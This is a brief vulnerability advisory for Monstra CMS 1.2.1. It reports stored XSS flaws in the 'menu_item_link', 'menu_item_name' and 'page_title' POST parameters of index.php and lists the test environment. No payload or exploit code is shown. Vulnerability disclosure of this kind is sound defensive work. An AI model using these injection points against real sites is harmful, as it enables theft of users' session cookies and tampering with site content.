Monstra 1.2.1 Multiple HTML Injection Vulnerabilities  
Product web page:  
Affected version: 1.2.1  
Summary: Monstra is fast and small content management system written  
in PHP! It's free, open source and easy to use from the start!  
Desc: Monstra suffers from multiple stored XSS vulnerabilities when  
parsing user input to the 'menu_item_link', 'menu_item_name' and  
'page_title' parameters via POST method thru 'index.php' script.  
Attacker-supplied HTML or JavaScript code could run in the context  
of the affected site, potentially allowing an attacker to steal  
cookie-based authentication credentials, control how the site is  
rendered to the user, and influence or misrepresent how Web content  
is served, cached, or interpreted.  
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)  
Apache 2.4.2 (Win32)  
PHP 5.4.4  
MySQL 5.5.25a
